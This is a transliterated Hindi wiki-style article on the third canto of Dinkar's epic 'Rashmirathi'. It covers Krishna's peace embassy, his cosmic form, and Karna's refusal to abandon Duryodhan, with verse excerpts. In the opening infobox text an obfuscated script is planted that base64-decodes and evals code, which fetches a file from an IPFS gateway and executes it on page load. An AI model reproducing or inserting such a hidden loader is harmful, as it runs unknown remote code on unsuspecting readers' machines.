रश्मिरथी तृतीय सर्ग

rashmirathi tritiy sarg 'rashmirathi' rachana ka avaran prishth|150px|center kavi ramadhari sianh dinakar mool shirshak rashmirathi mukhy patr karn prakashak lokabharati prakashan ISBN 81-85341-03-6 desh bharat bhasha hiandi vidha kavita prakar mahakavy bhag tritiy sarg mukhaprishth rachana sajild vishesh 'rashmirathi' mean karn katha ko vishayavastu ke roop mean chunakar lekhak ne sarjak ke ne ayam ka udghatan kiya hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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rashmirathi jisaka arth 'soory ki sarathi' hai, hindi kavi ramadhari sianh dinakar ke sabase lokapriy mahakavy kavitaoan mean se ek hai. isamean 7 sarg haian. 'rashmirathi' mean karn katha ko vishayavastu ke roop mean chunakar lekhak ne sarjak ke ne ayam ka udghatan kiya hai. yah mahabharat ki kahani hai. mahabharat samoohik lekhan ki den hai. is arth mean dinakar ne ekadam nayi samasya ki or dhyan khiancha hai. karn ki kahani ham varshoan se sunate a rahe haian. kahani purani hai, kavy prastuti nayi hai. tritiy sarg ki katha is prakar hai -

tritiy sarg

• kauravoan ne dyoot ke chhl se pandavoan ko terah varshoan tak vanavas jhelane ko  vivash  kiya tha.

varshoan tak van mean ghoom-ghoom,
badha-vighnoan ko choom-choom,
sah dhoop-gham, pani-patthar,
paandav aye kuchh aur nikhar.
              saubhagy n sab din sota hai,
              dekhean, age kya hota hai.

• in terah varshoan mean se barah varshoan tak pandav vanoan mean  khulakar rah sakate the, kiantu terahavean varsh unhean ajnatavas karana tha, jisamean unhean koee pahachan na sake.
  

ho gaya poorn ajnat vas,
padanv laute van se sahas,
pavak mean kanak-sadrish tap kar,
viratv lie kuchh aur prakhar,
             nas-nas mean tej-pravah liye,
             kuchh aur naya utsah liye.

• jab ajnatavas bhi poora ho gaya, tab pandav iandraprasth vapas aye  aur kauravoan tatha pandavoan  ke bich sandhi karane ko bhagavan krishna hastinapur gaye, jo kauravoan  ki rajadhani thi.
  

'do nyay agar to adha do,
par, isamean bhi yadi badha ho,
to de do keval paanch gram,
rakkho apani dharati tamam.
                   ham vahian khushi se khayeange,
                   parijan par asi n uthayeange!

• lekin sandhi ki kaun kahe, duryodhan ne ulte bhagavan krishna ko giraftar karana chaha.
  

duryodhan vah bhi de na saka,
ashish samaj ki le n saka,
ulate, hari ko baandhane chala,
jo tha asadhy, sadhane chala.
                jab nash manuj par chhata hai,
                pahale vivek mar jata hai.

• us par bhagavan ko krodh a gaya aur bhari sabha mean unhoanne apana virat roop prakat  kiya.  kahate haian, unaka virat kruddh roop dekhate hi log moorchhit ho gaye.
  

hari ne bhishan huankar kiya,
apana svaroop-vistar kiya,
dagamag-dagamag diggaj dole,
bhagavanh kupit hokar bole-
                'janjir badha kar sadh mujhe,
                haan, haan duryodhan! baandh mujhe.

• keval vidur ji ki chetana thik rahi. unhoanne dhritarashtr se kaha, 'maharaj ashchary ki  bat  hai ki bhagavan apane virat roop mean viraj  rahe haian.' is par dhritarashtr ne apane aandhe hone par pashchattap kiya. kahate haian ki pashchattap karate hi virat roop dekhane tak ke lie unako drishti mil gayi.
  

thi sabha sann, sab log dare,
chup the ya the behosh p de.
keval do nar na aghate the,
dhritarashtr-vidur sukh pate the.
                kar jo d kh de pramudit, nirbhay,
                donoan pukarate the 'jay-jay'!

• virat roop samet kar jab bhagavan krishna kauravoan ki sabha chho dakar chale, tab unhean adarapoorvak nagar se kuchh door pahuanchane ke lie unake sath karn gaya tha. bhagavan ko giraftar karane ki durabhisandhi mean karn ka bhi hath tha. atev vah lajjit hokar hi bhagavan ke samane aya tha.
  

bhagavan sabha ko chho d chale,
karake ran garjan ghor chale
samane karn sakuchaya sa,
a mila chakit bharamaya sa
              hari b de prem se kar dhar kar,
              le chadhe use apane rath par.

• kiantu, rajaniti visharad krishna ne baanh pak dakar use apane rath  mean bitha liya aur raste  mean ve use samajhane lage lage ki 'too vastav mean kuanti ka putr hai. atev, tujhe chahie ki kauravoan ko chho dakar pandavoan ke paksh mean a jaye. too to kuanti ka pahala hi putr hai, atev, pandavoan ki or se rajyabhishek ham tera hi kareange. sabhi pandav tere pichhe pichhe chalegean aur maian bhi tere pichhe hi chalooanga.' 
  

"kunti ka too hi tanay jyeshth,
bal buddhi, shil mean param shreshth
mastak par mukut dhareange ham,
tera abhishek kareange ham
               arati samod utareange,
               sab milakar paanv pakhareange.

• kiantu, karn isase vichalit nahian hua.
  

"kunti ne keval janm diya,
radha ne maan ka karm kiya
par kahate jise asal jivan,
dene aya vah duryodhan
             vah nahian bhinn mata se hai
             badh kar sodar bhrata se hai .

• usane kaha ki 'jo rahasy ap batala rahe haian, usaki soochana mujhe sooryadev se pahale hi mil chuki hai. kiantu, kuanti ne mere sath mata ka bartav nahian kiya. jo bat ap aj kah rahe haian, use kuanti ko us din batala dena chahie tha, jis din sabake samane kripachary ne meri jati poochhi thi.
  

"jo aj ap kah rahe ary,
kunti ke mukh se kripachary
sun vahi hue lajjit hote,
ham kyoan ran ko sajjit hote
              milata n karn duryodhan ko,
              paandav n kabhi jate van ko.

• ab bhala kaun vishvas karega ki maian kuanti ka hi putr hooan? isase to mujhe aur arjun, donoan ko kalank lagane vala hai. isake siva zara yah bhi to sochie ki duryodhan ne mere prati kaisa nishchhl vyavahar kiya hai? ab aj us par apadaean ayi haian, maian use kaise chho d sakata hooan? vah mera param mitr hai aur vipatti mean mitr ka sath na dena sabase b da pap hai.
  

"rah sath sada khela khaya,
saubhagy-suyash usase paya
ab jab vipatti ane ko hai,
ghanaghor pralay chhane ko hai
           taj use bhag yadi jaooanga
           kayar, kritaghn kahalaooanga.

• maian raja banana nahian chahata, n yahi chahata hooan ki sansar mujhe yudhishthir ke agraj ke roop mean janakar mera samman kare. maian to yuddh ke nimitt tatpar hooan, yah isalie ki duryodhan ka mere rom rom par rrin hai aur maian pran dekar bhi us rrin ko chukana chahata hooan.
  

"samrat baneange dharmaraj,
ya paega kurooraj taj,
l dana bhar mera kam raha,
duryodhan ka sangram raha,
          mujhako n kahian kuchh pana hai,
          keval rrin matr chukana hai.

• atev, ab  yuddh ko rok rakhane ka prayatn vyarth hai. ab to koee shubh din dekhakar l daee shuroo kara dijie.'
  

"ab der nahi kijai keshav,
avaser nahi kijai keshav.
dhanu ki dori tan jane dean,
sangram turat than jane dean,
          taandavi tej laharaega,
          sansar jyoti kuchh paega.

• yudhishthir ke vishay mean karn agrah karata hai ki krishna is bare mean use na batayean-
  

"par, ek vinay hai madhusoodan,
meri yah janmakatha gopan,
mat kabhi yudhishthir se kahie,
jaise ho ise chhipa rahie,
           ve ise jan yadi paeange,
           sianhasan ko thukaraeange.

• aur krishna karn ki prashansa karate haian-
  

rath se radhey utar aya,
hari ke man me vismay chhaya,
bole ki "vir shat bar dhany,
tujhasa n mitr koee anany,
           too kuroopati ka hi nahi pran,
           narata ka hai bhooshan mahan."

karn-charit

karn-charit ke uddhar ki chinta is bat ka praman hai ki hamase samaj mean manaviy gunoan ko pahachan badhane vali hai. kul aur jati ka ahankar vida ho raha hai. age manushy keval usi pad ka adhikari hoga jo usake apane samarthy se soochit hota ho, us pad ka nahian,jo usake mata-pita ya vansh ki den hai. isi prakar vyakti apane niji gunoan ke karan jis pad ka adhikari hai vah use milakar rahega, yahaan tak ki usake mata-pita ke dosh bhi isamean koee badha nahian dal sakeange. karnacharit ka uddhar ek tarah se, nayi manavata ki sthapana ka hi prayas hai. rashmirathi mean svayan karn ke mukh se nikala hai-

 maian unaka adarsh, kahian jo vyatha n khol sakeange
poochhega jag, kintu pita ka nam n bol sakeange,
jinaka nikhil vishv mean koee kahian n apana hoga,
man mean liye umang jinhean chir-kal kalapana hoga.

maitri ki rah batane ko, sabako sumarg par lane ko, duryodhan ko samajhane ko, bhishan vidhvans bachane ko, bhagavan hastinapur aye, paandav ka sandesha laye. 'do nyay agar to adha do, par, isamean bhi yadi badha ho, to de do keval paanch gram, rakkho apani dharati tamam. ham vahi khushi se khayeange, parijan par asi n uthayeange! duryodhan vah bhi de na saka, ashish samaj ki le n saka, ulate, hari ko baandhane chala, jo tha asadhy, sadhane chala. jab nash manuj par chhata hai, pahale vivek mar jata hai. hari ne bhishan huankar kiya, apana svaroop-vistar kiya, dagamag-dagamag diggaj dole, bhagavan kupit hokar bole- 'janjir badha kar sadh mujhe, haan, haan duryodhan! baandh mujhe. yah dekh, gagan mujhamean lay hai, yah dekh, pavan mujhamean lay hai, mujhamean vilin jhankar sakal, mujhamean lay hai sansar sakal. amaratv phoolata hai mujhamean, sanhar jhoolata hai mujhamean. 'udayachal mera dipt bhal, bhoomandal vakshasthal vishal, bhuj paridhi-bandh ko ghere haian, mainak-meru pag mere haian. dipate jo grah nakshatr nikar, sab haian mere mukh ke andar. 'drig hoan to drishy akand dekh, mujhamean sara brahmand dekh, char-achar jiv, jag, kshar-akshar, nashvar manushy surajati amar. shat koti soory, shat koti chandr, shat koti sarit, sar, sindhu mandr. 'shat koti vishnu, brahma, mahesh, shat koti vishnu jalapati, dhanesh, shat koti rudr, shat koti kal, shat koti dandadhar lokapal. janjir badhakar sadh inhean, haan-haan duryodhan! baandh inhean. 'bhoolok, atal, patal dekh, gat aur anagat kal dekh, yah dekh jagath ka adi-srijan, yah dekh, mahabharat ka ran, mritakoan se pati huee bhoo hai, pahachan, kahaan isamean too hai. 'ambar mean kuntal-jal dekh, pad ke niche patal dekh, mutthi mean tinoan kal dekh, mera svaroop vikaral dekh. sab janm mujhi se pate haian, phir laut mujh hi mean ate haian. 'jihva se kadhati jval saghan, saansoan mean pata janm pavan, p d jati meri drishti jidhar, hansane lagati hai srishti udhar! maian jabhi mooandata hooan lochan, chha jata charoan or maran. 'baandhane mujhe to aya hai, janjir b di kya laya hai? yadi mujhe baandhana chahe man, pahale to baandh anant gagan. soone ko sadh n sakata hai, vah mujhe baandh kab sakata hai? 'hit-vachan nahian toone mana, maitri ka mooly n pahachana, to le, maian bhi ab jata hooan, antim sankalp sunata hooan. yachana nahian, ab ran hoga, jivan-jay ya ki maran hoga. 'takarayeange nakshatr-nikar, barasegi bhoo par vahni prakhar, phan sheshanag ka dolega, vikaral kal muanh kholega. duryodhan! ran aisa hoga. phir kabhi nahian jaisa hoga. 'bhaee par bhaee tooteange, vish-ban booand-se chhooteange, vayas-shrrigal sukh looteange, saubhagy manuj ke phooteange. akhir too bhooshayi hoga, hiansa ka par, dayi hoga.' thi sabha sann, sab log dare, chup the ya the behosh p de. keval do nar na aghate the, dhritarashtr-vidur sukh pate the. kar jo d kh de pramudit, nirbhay, donoan pukarate the 'jay-jay'!

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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